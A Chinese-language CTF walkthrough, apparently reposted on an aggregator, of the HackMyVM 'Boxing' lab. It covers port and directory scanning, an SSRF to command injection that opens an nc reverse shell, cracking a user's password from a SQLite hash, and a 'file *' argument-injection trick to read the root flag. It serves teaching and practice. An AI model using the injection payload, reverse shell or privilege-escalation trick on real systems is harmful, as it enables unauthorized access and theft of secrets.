[HackMyVM]靶场Boxing

难度:Medium

kali:192.168.56.104

靶机:192.168.56.143

端口扫描

┌──(root㉿kali2)-[~/Desktop]
└─# nmap 192.168.56.143
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 19:25 CST
Nmap scan report for staging-env.boxing.hmv (192.168.56.143)
Host is up (0.00060s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:1C:3A:D1 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

22 80两个端口

目录扫一下

┌──(root㉿kali2)-[~/Desktop]
└─#  gobuster dir -u http://192.168.56.143 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.143
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.hta.php             (Status: 403) [Size: 279]
/.hta.txt             (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.hta.zip             (Status: 403) [Size: 279]
/.hta.bak             (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htaccess.zip        (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htaccess.bak        (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/.htpasswd.bak        (Status: 403) [Size: 279]
/.htpasswd.zip        (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/about.html           (Status: 200) [Size: 9704]
/blog.html            (Status: 200) [Size: 11165]
/class.html           (Status: 200) [Size: 12460]
/css                  (Status: 301) [Size: 314] [--> http://192.168.56.143/css/]
/feedback.php         (Status: 200) [Size: 1616]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.143/images/]                                                                               
/index.html           (Status: 200) [Size: 23854]
/index.html           (Status: 200) [Size: 23854]
/js                   (Status: 301) [Size: 313] [--> http://192.168.56.143/js/]
/server-status        (Status: 403) [Size: 279]
Progress: 27684 / 27690 (99.98%)
===============================================================
Finished
===============================================================

看web界面

除了右上角的搜索没什么交互

进去之后跳转到feedback.php

这个界面有点特殊,肯定有点东西

抓包在响应包里面发现一个子域,添加到hosts

192.168.56.143 staging-env.boxing.hmv boxing.hmv

进入子域

 

测试发现只能输入boxing.hmv开头的url然后跳转

进入server-status

可以看到当前好像是127.0.1.1

下面还有127.0.0.1的进程

看到群里大佬发现boxing.hmv:pass@127.0.0.1:5000/?processName='apache'+-e+command可以执行命令

反弹shell,主要要url编码

//nc -c bash ip port
http://staging-env.boxing.hmv/index.php?url=boxing.hmv:pass@localhost:5000?processName='apache'%2b-e%2bnc%2b-c%2bbash%2b192.168.56.104%2b4567
┌──(root㉿kali2)-[~/Desktop]
└─# nc -lvp 4567 
listening on [any] 4567 ...
connect to [192.168.56.104] from staging-env.boxing.hmv [192.168.56.143] 59166
id
uid=33(www-data) gid=33(www-data) groupes=33(www-data)

切换到交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

当前目录是/opt/pidstat而不是/var/www/html

www-data@boxing:/opt/pidstat$ ls -al
ls -al
total 12
drwxr-xr-x 2 root root 4096  4 févr. 03:15 .
drwxr-xr-x 4 root root 4096  4 févr. 03:15 ..
-rw-r--r-- 1 root root 1876  4 févr. 03:15 index.php

同级还有一个sos目录

www-data@boxing:/opt/sos$ ls -al
ls -al
total 20
drwxr-xr-x 3 root root 4096  4 févr. 03:15 .
drwxr-xr-x 4 root root 4096  4 févr. 03:15 ..
-rwxr-xr-x 1 root root  298  4 févr. 03:15 incrontab.sh
drwxr-xr-x 2 root root 4096  4 févr. 17:20 logs
-rwxr-xr-x 1 root root  323  4 févr. 03:15 sos.sh

这几个可能提权的时候用到先放着

home下有个cassus用户,但是没权限进去

www-data@boxing:/home$ ls -al
ls -al
total 12
drwxr-xr-x  3 root    root    4096  4 févr. 03:15 .
drwxr-xr-x 18 root    root    4096  4 févr. 16:47 ..
drwx------  4 cassius cassius 4096  4 févr. 17:16 cassius

/var下面除了www还有一个dev

www-data@boxing:~/dev$ ls -al
ls -al
total 40
drwxr-xr-x 3 root root  4096  4 févr. 03:15 .
drwxr-xr-x 4 root root  4096  4 févr. 03:15 ..
-rw-r--r-- 1 root root 24576  4 févr. 03:15 boxing_database.db
drwxr-xr-x 2 root root  4096  4 févr. 03:15 cache
-rw-r--r-- 1 root root  1579  4 févr. 03:15 index.php

发现是个SQLite数据库

www-data@boxing:~/dev$ file boxing*
file boxing*
boxing_database.db: SQLite 3.x database, last written using SQLite version 3040001, file counter 5, database pages 6, cookie 0x4, schema 4, UTF-8, version-valid-for 5

进入看看,这个数据库第一次用,.tables可以查看表

www-data@boxing:~/dev$ sqlite3 box*
sqlite3 box*
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> show databases;
show databases;
Parse error: near "show": syntax errorshow databases;^--- error here
sqlite> .tables
.tables
fighters  matches   news      users   
sqlite> select * from users;
select * from users;
1|cassius|$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu

拿到cassius,hash碰撞一下,不过失败了。

用cassius生成一个字典然后爆破发现密码是Cassius!123

ssh连接拿到user 权限

cassius@boxing:~$ ls -al
total 32
drwx------ 4 cassius cassius 4096  4 févr. 17:16 .
drwxr-xr-x 3 root    root    4096  4 févr. 03:15 ..
lrwxrwxrwx 1 root    root       9  4 févr. 17:11 .bash_history -> /dev/null
-rw-r--r-- 1 cassius cassius  220  4 févr. 03:15 .bash_logout
-rw-r--r-- 1 cassius cassius 3526  4 févr. 03:15 .bashrc
drwxr-xr-x 3 cassius cassius 4096  4 févr. 17:14 .local
-rw-r--r-- 1 cassius cassius  807  4 févr. 03:15 .profile
drwx------ 2 cassius cassius 4096  4 févr. 17:16 .ssh
-rwx------ 1 cassius cassius   33  4 févr. 03:15 user.txt
cassius@boxing:~$ cat user.txt 
a2b3946358a96bb7a92f61a759a1d972

去看那两个脚本文件

//incrontab.shcassius@boxing:/opt/sos$ cat incrontab.sh 
#!/bin/bashecho '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab -
echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab -
echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -
//sos.shcassius@boxing:/opt/sos$ cat sos.sh 
#!/bin/bashlogs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logscd /home/cassius
file *
ss -altupn
last -a
w
ps aux
top -n 1
lsoffor user in $(cut -f1 -d: /etc/passwd); do
echo "Cron jobs for $user:"
crontab -u $user -l
donetail /var/log/syslog
sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/*chmod 700 $logs

incrontab.sh也是定时任务,但是触发需要遵守规则

echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -

当user.txt文件属性修改的时候就会触发 sos.sh这脚本

在sos.sh里面,有file *,这个在之前某一个靶机遇到过

我们可以 添加一个参数-f 变成file -f filename就能输出文本内容

cassius@boxing:~$ ls                                                                   
user.txt                                                                               
cassius@boxing:~$ ls -al
total 32                                                                               
drwx------ 4 cassius cassius 4096  4 févr. 17:16 .                                     
drwxr-xr-x 3 root    root    4096  4 févr. 03:15 ..                                    
lrwxrwxrwx 1 root    root       9  4 févr. 17:11 .bash_history -> /dev/null            
-rw-r--r-- 1 cassius cassius  220  4 févr. 03:15 .bash_logout                          
-rw-r--r-- 1 cassius cassius 3526  4 févr. 03:15 .bashrc                               
drwxr-xr-x 3 cassius cassius 4096  4 févr. 17:14 .local                                
-rw-r--r-- 1 cassius cassius  807  4 févr. 03:15 .profile
drwx------ 2 cassius cassius 4096  4 févr. 17:16 .ssh
-rwx------ 1 cassius cassius   33  4 févr. 03:15 user.txt
cassius@boxing:~$ touch -- '-f'
cassius@boxing:~$ ls 
-f  user.txt
cassius@boxing:~$ ln -sv /root/root.txt root
'root' -> '/root/root.txt'
cassius@boxing:~$ ls
-f  root  user.txt

然后再开个窗口监听

cassius@boxing:/tmp$ while :;do cp /opt/sos/logs/output-logs.txt /tmp/1.txt 2>/dev/null;done

然后修改 user.txt的属性

cassius@boxing:~$ chmod 600 user.txt 

另一个监听窗口下就能获得一个1.txt,里面就是/root/root.txt

cassius@boxing:/tmp$ cat 1.txt | head
19ed17ba1da85521ce659aeeb5ecd751: cannot open `19ed17ba1da85521ce659aeeb5ecd751' (No such file or directory)
user.txt: ASCII text

说实话,原理其实没搞太明白,后面继续再看吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/790373.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

v-text 和v-html

接下来&#xff0c;我讲介绍一下v-text和v-html的使用方式以及它们之间的区别。 使用方法 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-widt…

计算机网络_工具

从你的电脑到指定ip网站&#xff0c;用时3ms ttl TTL Time To Live 数据包存活时间 指一个数据包在经过一个路由器时&#xff0c;可传递的最长距离&#xff08;跃点数&#xff09;。每当数据包经过一个路由器时&#xff0c;其存活次数就会被减一 256 - 249 7&…

软件设计师28--SQL语言

软件设计师28--SQL语言 考点1&#xff1a;普通查询SQL语言SQL语言 - 查询例题&#xff1a; 考点2&#xff1a;分组查询SQL语言 - 查询例题&#xff1a; 考点3&#xff1a;权限控制SQL语言例题&#xff1a; 考点1&#xff1a;普通查询 SQL语言 SQL语言 - 查询 例题&#xff1a;…

python 字符串写入 csv 被拆分问题

问题与现象 在使用csv的writerow或者writerows方法时&#xff0c;直接写入字符串会导致字符串被分割成一个字符占一个单元格的问题。 分析 查看writer源码&#xff0c;可以看到源码中的提示Iterable[Any]&#xff0c;说明我们所写内容必须转化为列表 class _writer:dialect…

远程登录服务器(ubuntu20.04)在自己账号下的虚拟环境(python3.6)安装Jupyter并连接pycharm使用

参考&#xff1a;Jupyter notebook/lab安装及远程访问 1、安装jupyter pip install notebook遇到的问题&#xff1a; &#xff08;1&#xff09;运行这个指令之前尝试了好多方法都安不上 此前还尝试了更新pip之类的&#xff0c;大家安不上也可以先更新pip试试。 &#xff0…

职场聚餐:搭建沟通桥梁,促进团队凝聚力

在职场中&#xff0c;聚餐作为一种非正式的社交活动&#xff0c;不仅能够增进同事间的了解&#xff0c;还有助于提升团队凝聚力。本文将探讨职场聚餐的重要性以及如何组织一场成功的职场聚餐。 一、职场聚餐的重要性 1. 搭建沟通桥梁&#xff1a;职场聚餐为员工提供了一个轻松愉…

电商好评语整理与优化:让繁琐工作变得轻松高效

在电子商务领域&#xff0c;客户的好评是店铺信誉和产品质量的重要体现。然而&#xff0c;整理和优化这些好评语却是一项既繁琐又需要细致耐心的工作。本文将探讨如何高效地进行电商好评语的筛选、分类和优化&#xff0c;让这一工作变得更加轻松和高效。 一、明确整理目的 在开…

webapi 允许跨域

1.在Nuget安装webapi.cors 添加完会有这个包 然后在项目App_Start 目录下的WebApiConfig.cs里面添加 // Web API 配置和服务// 添加跨域设置config.EnableCors(new EnableCorsAttribute("*", "*", "*"));

[C++ ]21:哈希+海量数据处理

[C ]21:哈希海量数据处理 一.哈希&#xff1a;1.位图&#xff1a;1.题目一&#xff1a;方法一&#xff1a;方法二&#xff1a; 2.题目二&#xff1a;方法一&#xff1a;补充&#xff1a; 3.题目三&#xff1a;方法一&#xff1a;双位图 4.题目四&#xff1a; 二.布隆过滤器&…

智慧工地安全+绿色施工方案

塔机监测 塔吊监测可以实现对塔机监测、群塔防碰撞、塔机区域防护和吊钩可视化 1司机身份识别认证:只有司机在监控设备进行刷卡、指纹、人脸、虹膜验证身份后才能进行设备的作业操作。 2运行工况采集与显示:清晰实时显示起重机械设备运行工况,主要显示的内容:起重量、起…

k8s的pod访问service的方式

背景 在k8s中容器访问某个service服务时有两种方式&#xff0c;一种是把每个要访问的service的ip注入到客户端pod的环境变量中&#xff0c;另一种是客户端pod先通过DNS服务器查找对应service的ip地址&#xff0c;然后在通过这个service ip地址访问对应的service服务 pod客户端…

jstat命令

jstat 是一个强大的命令行工具&#xff0c;用于监控 Java 应用程序的运行时状态&#xff0c;特别是与垃圾收集&#xff08;GC&#xff09;相关的统计信息和内存使用情况。下面是一个使用 jstat 监控特定 Java 进程的垃圾回收统计信息的具体例子&#xff1a; 假设有一个正在运行…

‘iostream‘ file not foundclang(pp_file_not_found)

概要 在 macOS 用 VSCode 打开 test.cpp 文件&#xff0c; 使用 CMake 构建&#xff0c; 生成了 compile_commands.json 看起来也正常。遇到 iostream 头文件画红色波浪线的报错&#xff0c; 也无法跳转。最后查出来是 brew install 了 LLVM 并且&#xff08;莫名其妙的&#…

如何使用Java语言发票查验接口实现发票真伪查验、票据ocr

随着时代潮流的发展&#xff0c;企业也在寻找更加便捷、高效的办公模式&#xff0c;尤其是针对财务工作人员而言&#xff0c;繁琐的发票录入、查验工作占据了财务人员的大部分时间。对此&#xff0c;翔云提供了发票识别接口、发票查验接口&#xff0c;那么企业应当如何将这些接…

数据结构算法题(力扣)——链表

以下题目建议大家先自己动手练习&#xff0c;再看题解代码。这里只提供一种做法&#xff0c;可能不是最优解。 1. 移除链表元素&#xff08;OJ链接&#xff09; 题目描述&#xff1a;给一个链表的头节点 head 和一个整数 val &#xff0c;删除链表中所有满足值等于 val 的节点…

【 书生·浦语大模型实战营】学习笔记(一):全链路开源体系介绍

&#x1f389;AI学习星球推荐&#xff1a; GoAI的学习社区 知识星球是一个致力于提供《机器学习 | 深度学习 | CV | NLP | 大模型 | 多模态 | AIGC 》各个最新AI方向综述、论文等成体系的学习资料&#xff0c;配有全面而有深度的专栏内容&#xff0c;包括不限于 前沿论文解读、…

linux 回收站机制(笔记)

Linux下回收站机制https://mp.weixin.qq.com/s/H5Y8VRcaOhFZFXzR8yQ7yg 功能 &#xff1a;设立回收站&#xff0c;并且可定时清空回收站。 一、建议将alias rm 改成别的。 比如alias rmm &#xff0c;同时修改rm -rf ~/.trash/* 改成 rmm -rf ~/.trash/* 不然影响rm 的正常使…

SQL Server中视图使用子查询的性能影响与优化方案

在SQL Server中&#xff0c;视图&#xff08;View&#xff09;是一种虚拟的表&#xff0c;其内容由查询定义。在视图中&#xff0c;我们可以使用子查询来组合和呈现数据&#xff0c;这为数据呈现提供了灵活性&#xff0c;但同时也可能带来一些性能上的问题。本文将深入分析视图…

js 基础知识 forEach 和 map 的区别,及 map 不加 return 返回什么

问题一&#xff1a;forEach 和 map 之间的区别&#xff1a; 1、forEach 不返回新数组&#xff0c;map 返回新数组&#xff0c;其中包含回调函数的返回值。 2、用途&#xff1a;如果只想要遍历数组并对每个元素执行某些操作而不产生新数组&#xff0c;那么应该使用 forEach&am…

从零开始学RSA加密解密过程

因为文字太过晦涩难懂&#xff0c;下面以图示的方法来理解RSA加密解密的过程 以上过程中因为HACK无法得到p,q信息&#xff0c;也就是无法计算出d , 导致了无法解密 c 得到 m (n,e) 公钥 (d,n) 私钥 (p,q,n,e) 生成的加密必要信息 必要的公式 c ≡ me mod n ----------->…